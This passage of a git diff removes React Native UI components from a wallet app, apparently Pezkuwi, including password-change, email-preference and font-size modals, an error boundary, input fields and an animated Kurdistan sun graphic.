<Text style={styles.errorText}>
Password must be at least 6 characters
</Text>
)}
{confirmPassword.length > 0 && newPassword !== confirmPassword && (
<Text style={styles.errorText}>Passwords do not match</Text>
)}
{/* Forgot Password Link */}
<TouchableOpacity
onPress={handleForgotPassword}
style={styles.forgotPasswordButton}
disabled={loading}
>
<Text style={styles.forgotPasswordText}>Forgot Password?</Text>
</TouchableOpacity>
</View>
{/* Footer */}
<View style={styles.footer}>
<TouchableOpacity
style={styles.cancelButton}
onPress={handleClose}
disabled={loading}
>
<Text style={styles.cancelButtonText}>Cancel</Text>
</TouchableOpacity>
<TouchableOpacity
style={[
styles.submitButton,
(loading || !currentPassword || !newPassword || newPassword !== confirmPassword || newPassword.length < 6) &&
styles.submitButtonDisabled,
]}
onPress={handleSubmit}
disabled={loading || !currentPassword || !newPassword || newPassword !== confirmPassword || newPassword.length < 6}
>
{loading ? (
<ActivityIndicator color={KurdistanColors.spi} />
) : (
<Text style={styles.submitButtonText}>Change Password</Text>
)}
</TouchableOpacity>
</View>
</View>
</View>
</Modal>
);
};
import type { ThemeColors } from '../contexts/ThemeContext';
const createStyles = (colors: ThemeColors) => StyleSheet.create({
overlay: {
flex: 1,
backgroundColor: 'rgba(0, 0, 0, 0.5)',
justifyContent: 'center',
alignItems: 'center',
},
container: {
width: '90%',
maxWidth: 400,
backgroundColor: colors.surface,
borderRadius: 16,
overflow: 'hidden',
},
header: {
flexDirection: 'row',
alignItems: 'center',
justifyContent: 'space-between',
padding: 20,
borderBottomWidth: 1,
borderBottomColor: colors.border,
},
headerTitle: {
fontSize: 20,
fontWeight: 'bold',
color: colors.text,
},
closeButton: {
width: 32,
height: 32,
borderRadius: 16,
backgroundColor: colors.background,
justifyContent: 'center',
alignItems: 'center',
},
closeButtonText: {
fontSize: 20,
color: colors.textSecondary,
},
content: {
padding: 20,
},
description: {
fontSize: 14,
color: colors.textSecondary,
marginBottom: 20,
lineHeight: 20,
},
inputContainer: {
marginBottom: 16,
},
label: {
fontSize: 14,
fontWeight: '600',
color: colors.text,
marginBottom: 8,
},
input: {
height: 48,
borderWidth: 1,
borderColor: colors.border,
borderRadius: 8,
paddingHorizontal: 16,
fontSize: 16,
color: colors.text,
backgroundColor: colors.background,
},
errorText: {
fontSize: 13,
color: KurdistanColors.sor,
marginTop: -8,
marginBottom: 8,
},
forgotPasswordButton: {
marginTop: 8,
paddingVertical: 8,
},
forgotPasswordText: {
fontSize: 14,
color: KurdistanColors.kesk,
fontWeight: '600',
textAlign: 'center',
},
footer: {
flexDirection: 'row',
padding: 20,
borderTopWidth: 1,
borderTopColor: colors.border,
gap: 12,
},
cancelButton: {
flex: 1,
paddingVertical: 14,
borderRadius: 8,
borderWidth: 1,
borderColor: colors.border,
alignItems: 'center',
},
cancelButtonText: {
fontSize: 16,
fontWeight: '600',
color: colors.text,
},
submitButton: {
flex: 1,
paddingVertical: 14,
borderRadius: 8,
backgroundColor: KurdistanColors.kesk,
alignItems: 'center',
justifyContent: 'center',
},
submitButtonDisabled: {
opacity: 0.5,
},
submitButtonText: {
fontSize: 16,
fontWeight: '600',
color: KurdistanColors.spi,
},
});
export default ChangePasswordModal;
@@ -1,328 +0,0 @@
import React, { useState, useEffect, useCallback } from 'react';
import {
Modal,
View,
Text,
TouchableOpacity,
StyleSheet,
ScrollView,
Switch,
} from 'react-native';
import AsyncStorage from '@react-native-async-storage/async-storage';
import { KurdistanColors } from '../theme/colors';
import { useTheme } from '../contexts/ThemeContext';
import type { ThemeColors } from '../contexts/ThemeContext';
const EMAIL_PREFS_KEY = '@pezkuwi/email_notifications';
interface EmailPreferences {
transactions: boolean;
governance: boolean;
security: boolean;
marketing: boolean;
}
interface EmailNotificationsModalProps {
visible: boolean;
onClose: () => void;
}
const EmailNotificationsModal: React.FC<EmailNotificationsModalProps> = ({
visible,
onClose,
}) => {
const { colors } = useTheme();
const [preferences, setPreferences] = useState<EmailPreferences>({
transactions: true,
governance: true,
security: true,
marketing: false,
});
const [saving, setSaving] = useState(false);
const loadPreferences = useCallback(async () => {
try {
const saved = await AsyncStorage.getItem(EMAIL_PREFS_KEY);
if (saved) {
setPreferences(JSON.parse(saved));
}
} catch (error) {
if (__DEV__) console.warn('Failed to load email preferences:', error);
}
}, []);
useEffect(() => {
// Load preferences when modal becomes visible - setState is async inside loadPreferences
// eslint-disable-next-line react-hooks/set-state-in-effect
loadPreferences();
}, [visible, loadPreferences]);
const savePreferences = async () => {
setSaving(true);
try {
await AsyncStorage.setItem(EMAIL_PREFS_KEY, JSON.stringify(preferences));
if (__DEV__) console.warn('[EmailPrefs] Preferences saved:', preferences);
setTimeout(() => {
setSaving(false);
onClose();
}, 500);
} catch (error) {
if (__DEV__) console.warn('Failed to save email preferences:', error);
setSaving(false);
}
};
const updatePreference = (key: keyof EmailPreferences, value: boolean) => {
setPreferences((prev) => ({ ...prev, [key]: value }));
};
const styles = createStyles(colors);
return (
<Modal
visible={visible}
animationType="slide"
transparent={true}
onRequestClose={onClose}
>
<View style={styles.overlay}>
<View style={styles.container}>
{/* Header */}
<View style={styles.header}>
<Text style={styles.headerTitle}>Email Notifications</Text>
<TouchableOpacity onPress={onClose} style={styles.closeButton}>
<Text style={styles.closeButtonText}></Text>
</TouchableOpacity>
</View>
<ScrollView style={styles.content}>
<Text style={styles.description}>
Choose which email notifications you want to receive. All emails are sent
securely and you can unsubscribe at any time.
</Text>
{/* Transaction Updates */}
<View style={styles.preferenceItem}>
<View style={styles.preferenceIcon}>
<Text style={styles.preferenceIconText}>💸</Text>
</View>
<View style={styles.preferenceContent}>
<Text style={styles.preferenceTitle}>Transaction Updates</Text>
<Text style={styles.preferenceSubtitle}>
Get notified when you send or receive tokens
</Text>
</View>
<Switch
value={preferences.transactions}
onValueChange={(value) => updatePreference('transactions', value)}
trackColor={{ false: colors.border, true: KurdistanColors.kesk }}
thumbColor={preferences.transactions ? KurdistanColors.spi : '#f4f3f4'}
/>
</View>
{/* Governance Alerts */}
<View style={styles.preferenceItem}>
<View style={styles.preferenceIcon}>
<Text style={styles.preferenceIconText}>🗳</Text>
</View>
<View style={styles.preferenceContent}>
<Text style={styles.preferenceTitle}>Governance Alerts</Text>
<Text style={styles.preferenceSubtitle}>
Voting deadlines, proposal updates, election reminders
</Text>
</View>
<Switch
value={preferences.governance}
onValueChange={(value) => updatePreference('governance', value)}
trackColor={{ false: colors.border, true: KurdistanColors.kesk }}
thumbColor={preferences.governance ? KurdistanColors.spi : '#f4f3f4'}
/>
</View>
{/* Security Alerts */}
<View style={styles.preferenceItem}>
<View style={styles.preferenceIcon}>
<Text style={styles.preferenceIconText}>🔒</Text>
</View>
<View style={styles.preferenceContent}>
<Text style={styles.preferenceTitle}>Security Alerts</Text>
<Text style={styles.preferenceSubtitle}>
Login attempts, password changes, suspicious activity
</Text>
</View>
<Switch
value={preferences.security}
onValueChange={(value) => updatePreference('security', value)}
trackColor={{ false: colors.border, true: KurdistanColors.kesk }}
thumbColor={preferences.security ? KurdistanColors.spi : '#f4f3f4'}
/>
</View>
{/* Marketing Emails */}
<View style={styles.preferenceItem}>
<View style={styles.preferenceIcon}>
<Text style={styles.preferenceIconText}>📢</Text>
</View>
<View style={styles.preferenceContent}>
<Text style={styles.preferenceTitle}>Marketing & Updates</Text>
<Text style={styles.preferenceSubtitle}>
Product updates, feature announcements, newsletters
</Text>
</View>
<Switch
value={preferences.marketing}
onValueChange={(value) => updatePreference('marketing', value)}
trackColor={{ false: colors.border, true: KurdistanColors.kesk }}
thumbColor={preferences.marketing ? KurdistanColors.spi : '#f4f3f4'}
/>
</View>
<View style={{ height: 20 }} />
</ScrollView>
{/* Footer */}
<View style={styles.footer}>
<TouchableOpacity
style={styles.cancelButton}
onPress={onClose}
disabled={saving}
>
<Text style={styles.cancelButtonText}>Cancel</Text>
</TouchableOpacity>
<TouchableOpacity
style={[styles.saveButton, saving && styles.saveButtonDisabled]}
onPress={savePreferences}
disabled={saving}
>
<Text style={styles.saveButtonText}>
{saving ? 'Saving...' : 'Save Preferences'}
</Text>
</TouchableOpacity>
</View>
</View>
</View>
</Modal>
);
};
const createStyles = (colors: ThemeColors) => StyleSheet.create({
overlay: {
flex: 1,
backgroundColor: 'rgba(0, 0, 0, 0.5)',
justifyContent: 'center',
alignItems: 'center',
},
container: {
width: '90%',
maxHeight: '80%',
backgroundColor: colors.surface,
borderRadius: 16,
overflow: 'hidden',
},
header: {
flexDirection: 'row',
alignItems: 'center',
justifyContent: 'space-between',
padding: 20,
borderBottomWidth: 1,
borderBottomColor: colors.border,
},
headerTitle: {
fontSize: 20,
fontWeight: 'bold',
color: colors.text,
},
closeButton: {
width: 32,
height: 32,
borderRadius: 16,
backgroundColor: colors.background,
justifyContent: 'center',
alignItems: 'center',
},
closeButtonText: {
fontSize: 20,
color: colors.textSecondary,
},
content: {
padding: 20,
},
description: {
fontSize: 14,
color: colors.textSecondary,
marginBottom: 20,
lineHeight: 20,
},
preferenceItem: {
flexDirection: 'row',
alignItems: 'center',
paddingVertical: 16,
borderBottomWidth: 1,
borderBottomColor: colors.border,
},
preferenceIcon: {
width: 44,
height: 44,
borderRadius: 22,
backgroundColor: colors.background,
justifyContent: 'center',
alignItems: 'center',
marginRight: 12,
},
preferenceIconText: {
fontSize: 22,
},
preferenceContent: {
flex: 1,
marginRight: 12,
},
preferenceTitle: {
fontSize: 16,
fontWeight: '600',
color: colors.text,
marginBottom: 4,
},
preferenceSubtitle: {
fontSize: 13,
color: colors.textSecondary,
lineHeight: 18,
},
footer: {
flexDirection: 'row',
padding: 20,
borderTopWidth: 1,
borderTopColor: colors.border,
gap: 12,
},
cancelButton: {
flex: 1,
paddingVertical: 14,
borderRadius: 8,
borderWidth: 1,
borderColor: colors.border,
alignItems: 'center',
},
cancelButtonText: {
fontSize: 16,
fontWeight: '600',
color: colors.text,
},
saveButton: {
flex: 1,
paddingVertical: 14,
borderRadius: 8,
backgroundColor: KurdistanColors.kesk,
alignItems: 'center',
},
saveButtonDisabled: {
opacity: 0.6,
},
saveButtonText: {
fontSize: 16,
fontWeight: '600',
color: KurdistanColors.spi,
},
});
export default EmailNotificationsModal;
-47
View File
@@ -1,47 +0,0 @@
import React from 'react';
import { View, Text, StyleSheet, TouchableOpacity } from 'react-native';
import { KurdistanColors } from '../theme/colors';
interface EmptyStateProps {
icon?: string;
title: string;
description?: string;
actionLabel?: string;
onAction?: () => void;
}
export const EmptyState: React.FC<EmptyStateProps> = ({
icon = '📋',
title,
description,
actionLabel,
onAction,
}) => (
<View style={styles.container} accessibilityRole="text" accessibilityLabel={title}>
<Text style={styles.icon}>{icon}</Text>
<Text style={styles.title}>{title}</Text>
{description && <Text style={styles.description}>{description}</Text>}
{actionLabel && onAction && (
<TouchableOpacity
style={styles.actionBtn}
onPress={onAction}
accessibilityRole="button"
accessibilityLabel={actionLabel}
>
<Text style={styles.actionBtnText}>{actionLabel}</Text>
</TouchableOpacity>
)}
</View>
);
const styles = StyleSheet.create({
container: { alignItems: 'center', justifyContent: 'center', paddingVertical: 48, paddingHorizontal: 32 },
icon: { fontSize: 48, marginBottom: 12 },
title: { fontSize: 18, fontWeight: '600', color: '#333', textAlign: 'center', marginBottom: 6 },
description: { fontSize: 14, color: '#888', textAlign: 'center', lineHeight: 20 },
actionBtn: {
marginTop: 20, backgroundColor: KurdistanColors.kesk, paddingHorizontal: 24,
paddingVertical: 12, borderRadius: 12,
},
actionBtnText: { color: '#FFFFFF', fontSize: 15, fontWeight: '600' },
});
-250
View File
@@ -1,250 +0,0 @@
// ========================================
// Error Boundary Component (React Native)
// ========================================
// Catches React errors and displays fallback UI
import React, { Component, ErrorInfo, ReactNode } from 'react';
import { View, Text, TouchableOpacity, ScrollView, StyleSheet } from 'react-native';
interface Props {
children: ReactNode;
fallback?: ReactNode;
onError?: (error: Error, errorInfo: ErrorInfo) => void;
}
interface State {
hasError: boolean;
error: Error | null;
errorInfo: ErrorInfo | null;
}
/**
* Global Error Boundary for React Native
* Catches unhandled errors in React component tree
*
* @example
* <ErrorBoundary>
* <App />
* </ErrorBoundary>
*/
export class ErrorBoundary extends Component<Props, State> {
constructor(props: Props) {
super(props);
this.state = {
hasError: false,
error: null,
errorInfo: null,
};
}
static getDerivedStateFromError(error: Error): Partial<State> {
// Update state so next render shows fallback UI
return {
hasError: true,
error,
};
}
componentDidCatch(error: Error, errorInfo: ErrorInfo): void {
// Log error to console
if (__DEV__) {
console.error('ErrorBoundary caught an error:', error, errorInfo);
}
// Update state with error details
this.setState({
error,
errorInfo,
});
// Call custom error handler if provided
if (this.props.onError) {
this.props.onError(error, errorInfo);
}
// In production, you might want to log to an error reporting service
// Example: Sentry.captureException(error);
}
handleReset = (): void => {
this.setState({
hasError: false,
error: null,
errorInfo: null,
});
};
render(): ReactNode {
if (this.state.hasError) {
// Use custom fallback if provided
if (this.props.fallback) {
return this.props.fallback;
}
// Default error UI for React Native
return (
<View style={styles.container}>
<ScrollView
style={styles.scrollView}
contentContainerStyle={styles.scrollContent}
>
<View style={styles.card}>
{/* Error Icon */}
<View style={styles.iconContainer}>
<Text style={styles.iconText}></Text>
</View>
{/* Error Title */}
<Text style={styles.title}>Something Went Wrong</Text>
<Text style={styles.description}>
An unexpected error occurred. We apologize for the inconvenience.
</Text>
{/* Error Details (Development Only) */}
{__DEV__ && this.state.error && (
<View style={styles.errorDetails}>
<Text style={styles.errorDetailsTitle}>
Error Details (for developers)
</Text>
<View style={styles.errorBox}>
<Text style={styles.errorLabel}>Error:</Text>
<Text style={styles.errorText}>
{this.state.error.toString()}
</Text>
{this.state.errorInfo && (
<>
<Text style={[styles.errorLabel, styles.stackLabel]}>
Component Stack:
</Text>
<Text style={styles.errorText}>
{this.state.errorInfo.componentStack}
</Text>
</>
)}
</View>
</View>
)}
{/* Action Buttons */}
<View style={styles.buttonContainer}>
<TouchableOpacity
style={styles.primaryButton}
onPress={this.handleReset}
activeOpacity={0.8}
>
<Text style={styles.buttonText}>Try Again</Text>
</TouchableOpacity>
</View>
{/* Support Contact */}
<Text style={styles.supportText}>
If this problem persists, please contact support at{' '}
<Text style={styles.supportEmail}>info@pezkuwichain.io</Text>
</Text>
</View>
</ScrollView>
</View>
);
}
// No error, render children normally
return this.props.children;
}
}
const styles = StyleSheet.create({
container: {
flex: 1,
backgroundColor: '#0a0a0a',
},
scrollView: {
flex: 1,
},
scrollContent: {
flexGrow: 1,
justifyContent: 'center',
padding: 16,
},
card: {
backgroundColor: '#1a1a1a',
borderRadius: 12,
borderWidth: 1,
borderColor: '#2a2a2a',
padding: 24,
},
iconContainer: {
alignItems: 'center',
marginBottom: 16,
},
iconText: {
fontSize: 48,
},
title: {
fontSize: 24,
fontWeight: 'bold',
color: '#ffffff',
textAlign: 'center',
marginBottom: 12,
},
description: {
fontSize: 16,
color: '#9ca3af',
textAlign: 'center',
marginBottom: 24,
lineHeight: 24,
},
errorDetails: {
marginBottom: 24,
},
errorDetailsTitle: {
fontSize: 14,
fontWeight: '600',
color: '#6b7280',
marginBottom: 12,
},
errorBox: {
backgroundColor: '#0a0a0a',
borderRadius: 8,
borderWidth: 1,
borderColor: '#374151',
padding: 12,
},
errorLabel: {
fontSize: 12,
fontWeight: 'bold',
color: '#ef4444',
marginBottom: 8,
},
stackLabel: {
marginTop: 12,
},
errorText: {
fontSize: 11,
fontFamily: 'monospace',
color: '#9ca3af',
lineHeight: 16,
},
buttonContainer: {
marginBottom: 16,
},
primaryButton: {
backgroundColor: '#00A94F',
borderRadius: 8,
padding: 16,
alignItems: 'center',
},
buttonText: {
color: '#ffffff',
fontSize: 16,
fontWeight: '600',
},
supportText: {
fontSize: 14,
color: '#6b7280',
textAlign: 'center',
lineHeight: 20,
},
supportEmail: {
color: '#00A94F',
},
});
-187
View File
@@ -1,187 +0,0 @@
import React from 'react';
import {
Modal,
View,
Text,
TouchableOpacity,
StyleSheet,
} from 'react-native';
import { KurdistanColors } from '../theme/colors';
import { useTheme } from '../contexts/ThemeContext';
interface FontSizeModalProps {
visible: boolean;
onClose: () => void;
}
const FontSizeModal: React.FC<FontSizeModalProps> = ({ visible, onClose }) => {
const { colors, fontSize, setFontSize } = useTheme();
const styles = createStyles(colors);
const handleSelectSize = async (size: 'small' | 'medium' | 'large') => {
await setFontSize(size);
onClose();
};
return (
<Modal
visible={visible}
animationType="fade"
transparent={true}
onRequestClose={onClose}
>
<TouchableOpacity
style={styles.overlay}
activeOpacity={1}
onPress={onClose}
testID="font-size-modal-backdrop"
>
<TouchableOpacity activeOpacity={1} onPress={(e) => e.stopPropagation()}>
<View style={styles.container}>
<View style={styles.header}>
<Text style={styles.headerTitle}>Font Size</Text>
<TouchableOpacity onPress={onClose} style={styles.closeButton} testID="font-size-modal-close">
<Text style={styles.closeButtonText}></Text>
</TouchableOpacity>
</View>
<View style={styles.content}>
<Text style={styles.description}>
Choose your preferred font size for better readability.
</Text>
<TouchableOpacity
style={[
styles.sizeOption,
fontSize === 'small' && styles.sizeOptionSelected,
]}
onPress={() => handleSelectSize('small')}
testID="font-size-small"
>
<Text style={styles.sizeLabel}>Small</Text>
<Text style={[styles.sizeExample, { fontSize: 14 }]}>
The quick brown fox jumps over the lazy dog
</Text>
{fontSize === 'small' && <Text style={styles.checkmark}></Text>}
</TouchableOpacity>
<TouchableOpacity
style={[
styles.sizeOption,
fontSize === 'medium' && styles.sizeOptionSelected,
]}
onPress={() => handleSelectSize('medium')}
testID="font-size-medium"
>
<Text style={styles.sizeLabel}>Medium (Default)</Text>
<Text style={[styles.sizeExample, { fontSize: 16 }]}>
The quick brown fox jumps over the lazy dog
</Text>
{fontSize === 'medium' && <Text style={styles.checkmark}></Text>}
</TouchableOpacity>
<TouchableOpacity
style={[
styles.sizeOption,
fontSize === 'large' && styles.sizeOptionSelected,
]}
onPress={() => handleSelectSize('large')}
testID="font-size-large"
>
<Text style={styles.sizeLabel}>Large</Text>
<Text style={[styles.sizeExample, { fontSize: 18 }]}>
The quick brown fox jumps over the lazy dog
</Text>
{fontSize === 'large' && <Text style={styles.checkmark}></Text>}
</TouchableOpacity>
</View>
</View>
</TouchableOpacity>
</TouchableOpacity>
</Modal>
);
};
import type { ThemeColors } from '../contexts/ThemeContext';
const createStyles = (colors: ThemeColors) => StyleSheet.create({
overlay: {
flex: 1,
backgroundColor: 'rgba(0, 0, 0, 0.5)',
justifyContent: 'center',
alignItems: 'center',
},
container: {
width: '90%',
maxWidth: 400,
backgroundColor: colors.surface,
borderRadius: 16,
overflow: 'hidden',
},
header: {
flexDirection: 'row',
alignItems: 'center',
justifyContent: 'space-between',
padding: 20,
borderBottomWidth: 1,
borderBottomColor: colors.border,
},
headerTitle: {
fontSize: 20,
fontWeight: 'bold',
color: colors.text,
},
closeButton: {
width: 32,
height: 32,
borderRadius: 16,
backgroundColor: colors.background,
justifyContent: 'center',
alignItems: 'center',
},
closeButtonText: {
fontSize: 20,
color: colors.textSecondary,
},
content: {
padding: 20,
},
description: {
fontSize: 14,
color: colors.textSecondary,
marginBottom: 20,
lineHeight: 20,
},
sizeOption: {
padding: 16,
borderRadius: 12,
borderWidth: 2,
borderColor: colors.border,
marginBottom: 12,
position: 'relative',
},
sizeOptionSelected: {
borderColor: KurdistanColors.kesk,
backgroundColor: colors.background,
},
sizeLabel: {
fontSize: 16,
fontWeight: '600',
color: colors.text,
marginBottom: 8,
},
sizeExample: {
color: colors.textSecondary,
lineHeight: 22,
},
checkmark: {
position: 'absolute',
top: 16,
right: 16,
fontSize: 24,
color: KurdistanColors.kesk,
fontWeight: 'bold',
},
});
export default FontSizeModal;
-151
View File
@@ -1,151 +0,0 @@
import React, { useState } from 'react';
import {
TextInput,
View,
Text,
StyleSheet,
TextInputProps,
Pressable,
} from 'react-native';
import { AppColors, KurdistanColors } from '../theme/colors';
interface InputProps extends TextInputProps {
label?: string;
error?: string;
helperText?: string;
leftIcon?: React.ReactNode;
rightIcon?: React.ReactNode;
onRightIconPress?: () => void;
disabled?: boolean;
}
/**
* Modern Input Component
* Floating label, validation states, icons
*/
export const Input: React.FC<InputProps> = ({
label,
error,
helperText,
leftIcon,
rightIcon,
onRightIconPress,
style,
disabled,
...props
}) => {
const [isFocused, setIsFocused] = useState(false);
const hasValue = props.value && props.value.length > 0;
return (
<View style={styles.container}>
{label && (
<Text
style={[
styles.label,
(isFocused || hasValue) && styles.labelFocused,
error && styles.labelError,
]}
>
{label}
</Text>
)}
<View
style={[
styles.inputContainer,
isFocused && styles.inputContainerFocused,
error && styles.inputContainerError,
]}
>
{leftIcon && <View style={styles.leftIcon}>{leftIcon}</View>}
<TextInput
{...props}
editable={props.editable !== undefined ? props.editable : !disabled}
style={[styles.input, !!leftIcon && styles.inputWithLeftIcon, style]}
onFocus={(e) => {
setIsFocused(true);
props.onFocus?.(e);
}}
onBlur={(e) => {
setIsFocused(false);
props.onBlur?.(e);
}}
placeholderTextColor={AppColors.textSecondary}
/>
{rightIcon && (
<Pressable onPress={onRightIconPress} style={styles.rightIcon}>
{rightIcon}
</Pressable>
)}
</View>
{(error || helperText) && (
<Text style={[styles.helperText, error && styles.errorText]}>
{error || helperText}
</Text>
)}
</View>
);
};
const styles = StyleSheet.create({
container: {
marginBottom: 16,
},
label: {
fontSize: 14,
fontWeight: '500',
color: AppColors.textSecondary,
marginBottom: 8,
},
labelFocused: {
color: KurdistanColors.kesk,
},
labelError: {
color: KurdistanColors.sor,
},
inputContainer: {
flexDirection: 'row',
alignItems: 'center',
backgroundColor: AppColors.surface,
borderWidth: 1.5,
borderColor: AppColors.border,
borderRadius: 12,
paddingHorizontal: 16,
minHeight: 52,
},
inputContainerFocused: {
borderColor: KurdistanColors.kesk,
borderWidth: 2,
elevation: 2,
},
inputContainerError: {
borderColor: KurdistanColors.sor,
},
input: {
flex: 1,
fontSize: 16,
color: AppColors.text,
paddingVertical: 12,
},
inputWithLeftIcon: {
marginLeft: 12,
},
leftIcon: {
justifyContent: 'center',
alignItems: 'center',
},
rightIcon: {
padding: 8,
justifyContent: 'center',
alignItems: 'center',
},
helperText: {
fontSize: 12,
color: AppColors.textSecondary,
marginTop: 4,
marginLeft: 16,
},
errorText: {
color: KurdistanColors.sor,
},
});
-154
View File
@@ -1,154 +0,0 @@
import React, { useState } from 'react';
import {
TextInput,
View,
Text,
StyleSheet,
TextInputProps,
Pressable,
} from 'react-native';
import { AppColors, KurdistanColors } from '../theme/colors';
interface InputProps extends TextInputProps {
label?: string;
error?: string;
helperText?: string;
leftIcon?: React.ReactNode;
rightIcon?: React.ReactNode;
onRightIconPress?: () => void;
}
/**
* Modern Input Component
* Floating label, validation states, icons
*/
export const Input: React.FC<InputProps> = ({
label,
error,
helperText,
leftIcon,
rightIcon,
onRightIconPress,
style,
...props
}) => {
const [isFocused, setIsFocused] = useState(false);
const hasValue = props.value && props.value.length > 0;
return (
<View style={styles.container}>
{label && (
<Text
style={[
styles.label,
(isFocused || hasValue) && styles.labelFocused,
error && styles.labelError,
]}
>
{label}
</Text>
)}
<View
style={[
styles.inputContainer,
isFocused && styles.inputContainerFocused,
error && styles.inputContainerError,
]}
>
{leftIcon && <View style={styles.leftIcon}>{leftIcon}</View>}
<TextInput
{...props}
editable={props.editable !== undefined ? props.editable : !props.disabled}
style={[styles.input, leftIcon && styles.inputWithLeftIcon, style]}
onFocus={(e) => {
setIsFocused(true);
props.onFocus?.(e);
}}
onBlur={(e) => {
setIsFocused(false);
props.onBlur?.(e);
}}
placeholderTextColor={AppColors.textSecondary}
/>
{rightIcon && (
<Pressable onPress={onRightIconPress} style={styles.rightIcon}>
{rightIcon}
</Pressable>
)}
</View>
{(error || helperText) && (
<Text style={[styles.helperText, error && styles.errorText]}>
{error || helperText}
</Text>
)}
</View>
);
};
const styles = StyleSheet.create({
container: {
marginBottom: 16,
},
label: {
fontSize: 14,
fontWeight: '500',
color: AppColors.textSecondary,
marginBottom: 8,
transition: 'all 0.2s',
},
labelFocused: {
color: KurdistanColors.kesk,
},
labelError: {
color: KurdistanColors.sor,
},
inputContainer: {
flexDirection: 'row',
alignItems: 'center',
backgroundColor: AppColors.surface,
borderWidth: 1.5,
borderColor: AppColors.border,
borderRadius: 12,
paddingHorizontal: 16,
minHeight: 52,
},
inputContainerFocused: {
borderColor: KurdistanColors.kesk,
borderWidth: 2,
shadowColor: KurdistanColors.kesk,
shadowOffset: { width: 0, height: 2 },
shadowOpacity: 0.1,
shadowRadius: 4,
elevation: 2,
},
inputContainerError: {
borderColor: KurdistanColors.sor,
},
input: {
flex: 1,
fontSize: 16,
color: AppColors.text,
paddingVertical: 12,
},
inputWithLeftIcon: {
marginLeft: 12,
},
leftIcon: {
justifyContent: 'center',
alignItems: 'center',
},
rightIcon: {
padding: 8,
justifyContent: 'center',
alignItems: 'center',
},
helperText: {
fontSize: 12,
color: AppColors.textSecondary,
marginTop: 4,
marginLeft: 16,
},
errorText: {
color: KurdistanColors.sor,
},
});
-224
View File
@@ -1,224 +0,0 @@
import React, { useEffect, useMemo } from 'react';
import { View, Animated, Easing, StyleSheet } from 'react-native';
import Svg, { Circle, Line, Defs, RadialGradient, Stop } from 'react-native-svg';
interface KurdistanSunProps {
size?: number;
}
const AnimatedView = Animated.View;
export const KurdistanSun: React.FC<KurdistanSunProps> = ({ size = 200 }) => {
// Animation values - use useMemo since these are stable and used during render
const greenHaloRotation = useMemo(() => new Animated.Value(0), []);
const redHaloRotation = useMemo(() => new Animated.Value(0), []);
const yellowHaloRotation = useMemo(() => new Animated.Value(0), []);
const raysPulse = useMemo(() => new Animated.Value(1), []);
const glowPulse = useMemo(() => new Animated.Value(0.6), []);
useEffect(() => {
// Green halo rotation (3s, clockwise)
Animated.loop(
Animated.timing(greenHaloRotation, {
toValue: 1,
duration: 3000,
easing: Easing.linear,
useNativeDriver: true,
})
).start();
// Red halo rotation (2.5s, counter-clockwise)
Animated.loop(
Animated.timing(redHaloRotation, {
toValue: -1,
duration: 2500,
easing: Easing.linear,
useNativeDriver: true,
})
).start();
// Yellow halo rotation (2s, clockwise)
Animated.loop(
Animated.timing(yellowHaloRotation, {
toValue: 1,
duration: 2000,
easing: Easing.linear,
useNativeDriver: true,
})
).start();
// Rays pulse animation
Animated.loop(
Animated.sequence([
Animated.timing(raysPulse, {
toValue: 0.7,
duration: 1000,
easing: Easing.inOut(Easing.ease),
useNativeDriver: true,
}),
Animated.timing(raysPulse, {
toValue: 1,
duration: 1000,
easing: Easing.inOut(Easing.ease),
useNativeDriver: true,
}),
])
).start();
// Glow pulse animation
Animated.loop(
Animated.sequence([
Animated.timing(glowPulse, {
toValue: 0.3,
duration: 1000,
easing: Easing.inOut(Easing.ease),
useNativeDriver: true,
}),
Animated.timing(glowPulse, {
toValue: 0.6,
duration: 1000,
easing: Easing.inOut(Easing.ease),
useNativeDriver: true,
}),
])
).start();
}, [greenHaloRotation, redHaloRotation, yellowHaloRotation, raysPulse, glowPulse]);
const greenSpin = greenHaloRotation.interpolate({
inputRange: [0, 1],
outputRange: ['0deg', '360deg'],
});
const redSpin = redHaloRotation.interpolate({
inputRange: [-1, 0],
outputRange: ['-360deg', '0deg'],
});
const yellowSpin = yellowHaloRotation.interpolate({
inputRange: [0, 1],
outputRange: ['0deg', '360deg'],
});
const haloSize = size * 0.9;
const borderWidth = size * 0.02;
// Generate 21 rays for Kurdistan flag
const rays = Array.from({ length: 21 }).map((_, i) => {
const angle = (i * 360) / 21;
return (
<Line
key={i}
x1="100"
y1="100"
x2="100"
y2="20"
stroke="rgba(255, 255, 255, 0.9)"
strokeWidth="3"
strokeLinecap="round"
transform={`rotate(${angle} 100 100)`}
/>
);
});
return (
<View style={[styles.container, { width: size, height: size }]}>
{/* Rotating colored halos */}
<View style={styles.halosContainer}>
{/* Green halo (outermost) */}
<AnimatedView
style={[
styles.halo,
{
width: haloSize,
height: haloSize,
borderWidth: borderWidth,
borderTopColor: '#00FF00',
borderBottomColor: '#00FF00',
borderLeftColor: 'transparent',
borderRightColor: 'transparent',
transform: [{ rotate: greenSpin }],
},
]}
/>
{/* Red halo (middle) */}
<AnimatedView
style={[
styles.halo,
{
width: haloSize * 0.8,
height: haloSize * 0.8,
borderWidth: borderWidth,
borderTopColor: 'transparent',
borderBottomColor: 'transparent',
borderLeftColor: '#FF0000',
borderRightColor: '#FF0000',
transform: [{ rotate: redSpin }],
},
]}
/>
{/* Yellow halo (inner) */}
<AnimatedView
style={[
styles.halo,
{
width: haloSize * 0.6,
height: haloSize * 0.6,
borderWidth: borderWidth,
borderTopColor: '#FFD700',
borderBottomColor: '#FFD700',
borderLeftColor: 'transparent',
borderRightColor: 'transparent',
transform: [{ rotate: yellowSpin }],
},
]}
/>
</View>
{/* Kurdistan Sun SVG with 21 rays */}
<AnimatedView style={[styles.svgContainer, { opacity: raysPulse }]}>
<Svg width={size} height={size} viewBox="0 0 200 200">
<Defs>
<RadialGradient id="sunGradient" cx="50%" cy="50%" r="50%">
<Stop offset="0%" stopColor="rgba(255, 255, 255, 0.8)" />
<Stop offset="100%" stopColor="rgba(255, 255, 255, 0.2)" />
</RadialGradient>
</Defs>
{/* Sun rays (21 rays for Kurdistan flag) */}
{rays}
{/* Central white circle */}
<Circle cx="100" cy="100" r="35" fill="white" />
{/* Inner glow */}
<Circle cx="100" cy="100" r="35" fill="url(#sunGradient)" />
</Svg>
</AnimatedView>
</View>
);
};
const styles = StyleSheet.create({
container: {
position: 'relative',
alignItems: 'center',
justifyContent: 'center',
},
halosContainer: {
position: 'absolute',
width: '100%',
height: '100%',
alignItems: 'center',
justifyContent: 'center',
},
halo: {
position: 'absolute',
borderRadius: 1000,
},
svgContainer: {
position: 'relative',
zIndex: 1,
},
});
export default KurdistanSun;
-117
View File
@@ -1,117 +0,0 @@
